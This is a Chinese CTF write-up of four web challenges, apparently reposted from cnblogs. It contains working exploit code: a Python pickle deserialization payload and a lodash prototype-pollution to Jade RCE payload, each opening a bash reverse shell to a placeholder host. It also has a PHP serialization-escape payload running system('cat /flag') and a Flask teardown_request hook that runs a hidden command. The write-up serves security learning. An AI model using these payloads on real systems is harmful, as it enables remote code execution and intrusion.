经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
第二届黄河流域网络安全技能挑战赛Web_wirteup
来源:cnblogs  作者:F12~  时间:2024/5/13 8:53:41  对本文有异议

前言

好久没写过比赛的wp了,黄河流域的web出的不错,挺有意思了,花了点时间,也是成功的ak了

myfavorPython

注册登录,一个base64输入框,猜测pickle反序列化,简单测试下,返回的数据是pickletools.dis解析的opcode结构,猜测其实已经load了,但是没回显,写个反弹shell的opcode:

  1. import pickle
  2. import base64
  3. class Exp(object):
  4. def __reduce__(self):
  5. return (os.system,("bash -c \"bash -i >&/dev/tcp/vps/ip 0>&1\"",))
  6. a = Exp()
  7. print(base64.b64encode(pickle.dumps(a)))

发送,拿到shell,cat flag

Ezzz_Proto

  1. const express = require('express');
  2. const lodash = require('lodash');
  3. const path = require('path');
  4. var bodyParser = require('body-parser');
  5. const app = express();
  6. var router = express.Router();
  7. app.set('view engine', 'jade');
  8. app.set('views', path.join(__dirname, 'views'));
  9. app.use(bodyParser.json({ extended: true }));
  10. app.get('/',function (req, res) {
  11. res.send('Hello World');
  12. })
  13. app.post('/post',function (req, res) {
  14. function merge(target, source) {
  15. for (let key in source) {
  16. if (key in source && key in target) {
  17. merge(target[key], source[key])
  18. } else {
  19. target[key] = source[key]
  20. }
  21. }
  22. }
  23. var malicious_payload = JSON.stringify(req.body);
  24. var body = JSON.parse(JSON.stringify(req.body));
  25. var a = {};
  26. merge(a, JSON.parse(malicious_payload));
  27. console.log(a.name);
  28. res.render('index.jade', {
  29. title: 'HTML',
  30. name: a.name || ''
  31. });
  32. })
  33. app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))

阅读源码,merge处可原型链污染,这里用的jade引擎,应该可以打jade的rce,简单找了个payload,{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/ip 0>&1\"'))"}},没打通,追踪一下流程,前面的一切正常,追踪到complie处

  1. compile: function(){
  2. this.buf = [];
  3. if (this.pp) this.buf.push("var jade_indent = [];");
  4. this.lastBufferedIdx = -1;
  5. this.visitCode(this.node);
  6. if (!this.dynamicMixins) {
  7. // if there are no dynamic mixins we can remove any un-used mixins
  8. var mixinNames = Object.keys(this.mixins);
  9. for (var i = 0; i < mixinNames.length; i++) {
  10. var mixin = this.mixins[mixinNames[i]];
  11. if (!mixin.used) {
  12. for (var x = 0; x < mixin.instances.length; x++) {
  13. for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {
  14. this.buf[y] = '';
  15. }
  16. }
  17. }
  18. }
  19. }
  20. return this.buf.join('\n');
  21. },

这里使用的是visitCode去查AST树,上面的payload满足的是使用visit去查,跟进一下,设置val的值为恶意代码即可

  1. visitCode: function(code){
  2. // Wrap code blocks with {}.
  3. // we only wrap unbuffered code blocks ATM
  4. // since they are usually flow control
  5. // Buffer code
  6. if (code.buffer) {
  7. var val = code.val.trim();
  8. val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
  9. if (code.escape) val = 'jade.escape(' + val + ')';
  10. this.bufferExpression(val);
  11. } else {
  12. this.buf.push(code.val);
  13. }
  14. // Block support
  15. if (code.block) {
  16. if (!code.buffer) this.buf.push('{');
  17. this.visit(code.block);
  18. if (!code.buffer) this.buf.push('}');
  19. }
  20. },

所以最终的payload为:{"__proto__":{"compileDebug":1,"self":1,"val":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'))"}}
拿到shell,cat flag

逃跑大师

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. function substrstr($data)
  5. {
  6. $start = mb_strpos($data, "[");
  7. $end = mb_strpos($data, "]");
  8. return mb_substr($data, $start, $end + 1 - $start);
  9. }
  10. class A{
  11. public $A;
  12. public $B = "HELLO";
  13. public $C = "!!!";
  14. public function __construct($A){
  15. $this->A = $A;
  16. }
  17. public function __destruct(){
  18. $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
  19. echo $key;
  20. eval($key);
  21. }
  22. }
  23. if(isset($_POST['escape'])) {
  24. $Class = new A($_POST['escape']);
  25. $Key = serialize($Class);
  26. $K = str_replace("SDPCSEC", "SanDieg0", $Key);
  27. unserialize($K);
  28. }
  29. else{
  30. echo "nonono";
  31. } nonono

反序列化逃逸,利用点在eval($_key),我们得控制$key的值,$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); 我们逃逸可以控制$B$C的值,分析一下substrstr函数,根据[,] 的位置来截取字符串,这里有点讲究,这里假设$C=1,后面拼接了[welcome sdpcsec1]18个字符,我们截取到-18即可,控制$end=0$start=19,即]111111111111111111[phpinfo()]; ,这样就能成功执行phpinfo,接下来看逃逸,增量逃逸,简单构造下逃逸的字符串:";s:1:"B";s:41:"]111111111111111111[system("cat /flag")];";s:1:"C";s:1:"1";} ,长76,在前面加上76个SDPCSEC ,post拿到flag

Python-revenge

  1. import base64
  2. import io
  3. import os
  4. import pickle
  5. import pickletools
  6. import sys
  7. from flask import Flask, render_template, request, redirect, url_for, session
  8. from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
  9. app = Flask(__name__)
  10. app.secret_key = 'welcome_to_here' # 修改为一个随机的密钥
  11. # 初始化 Flask-Login
  12. login_manager = LoginManager()
  13. login_manager.init_app(app)
  14. login_manager.login_view = 'login'
  15. # 模拟一个用户类
  16. class User(UserMixin):
  17. def __init__(self, id):
  18. self.id = id
  19. # 模拟用户数据库
  20. users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}
  21. @login_manager.user_loader
  22. def load_user(user_id):
  23. return User(user_id)
  24. @app.route('/login', methods=['GET', 'POST'])
  25. def login():
  26. if request.method == 'POST':
  27. username = request.form['username']
  28. password = request.form['password']
  29. user_data = users.get(username)
  30. if user_data and user_data.get('password') == password:
  31. user = User(username)
  32. login_user(user)
  33. session['role'] = 'admin' if username == 'admin_id' else 'user'
  34. return render_template('index.html')
  35. return render_template('login.html')
  36. @app.route('/logout')
  37. @login_required
  38. def logout():
  39. logout_user()
  40. session.pop('role', None)
  41. return redirect(url_for('login'))
  42. @app.route('/', methods=['GET', 'POST'])
  43. @login_required
  44. def index():
  45. results = ""
  46. if request.method == 'POST':
  47. a = request.form['text']
  48. output = io.StringIO()
  49. try:
  50. decoded_data = base64.b64decode(a)
  51. if b'before' in decoded_data or b'after' in decoded_data:
  52. results = "不可以添加函数!"
  53. return render_template("index.html",results=results)
  54. elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data:
  55. results = "不能写文件嗷!"
  56. return render_template("index.html",results=results)
  57. else:
  58. pickle.loads(decoded_data)
  59. with io.StringIO() as file:
  60. old_stdout = sys.stdout
  61. sys.stdout = file
  62. try:
  63. pickletools.dis(decoded_data)
  64. finally:
  65. sys.stdout = old_stdout
  66. results = file.getvalue()
  67. except:
  68. results = "error"
  69. return render_template('index.html', results=results)
  70. else:
  71. return render_template('index.html')
  72. @app.route('/register', methods=['GET', 'POST'])
  73. def register():
  74. if request.method == 'POST':
  75. username = request.form['username']
  76. password = request.form['password']
  77. # 检查用户名是否已存在
  78. if username in users:
  79. return "用户名已存在,请选择其他用户名"
  80. # 创建新用户
  81. users[username] = {'password': password, 'role': 'user'}
  82. # 登录新用户
  83. user = User(username)
  84. login_user(user)
  85. return redirect(url_for('index'))
  86. return render_template('register.html')
  87. if __name__ == '__main__':
  88. app.config['SESSION_COOKIE_NAME'] = 'session'
  89. app.run(host='0.0.0.0', port=5000)

逻辑跟第一道web题一样,不过这次不出网,而且还有黑名单,常规的内存马写法被限制的死死的,翻阅源码的钩子函数,找到个teardown_request,这个函数会在每次request后执行,即使抛出异常也会执行(在debug=False)的情况下,简单构造一下:app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
base64的数据为:cat flag.txt > /app/static/flag.txt

  1. import pickle
  2. import base64
  3. class Exp(object):
  4. def __reduce__(self):
  5. return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))
  6. a = Exp()
  7. print(pickle.dumps(a))
  8. print(base64.b64encode(pickle.dumps(a)))

post数据,访问/static/flag.txt拿到flag

原文链接:https://www.cnblogs.com/F12-blog/p/18187951

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号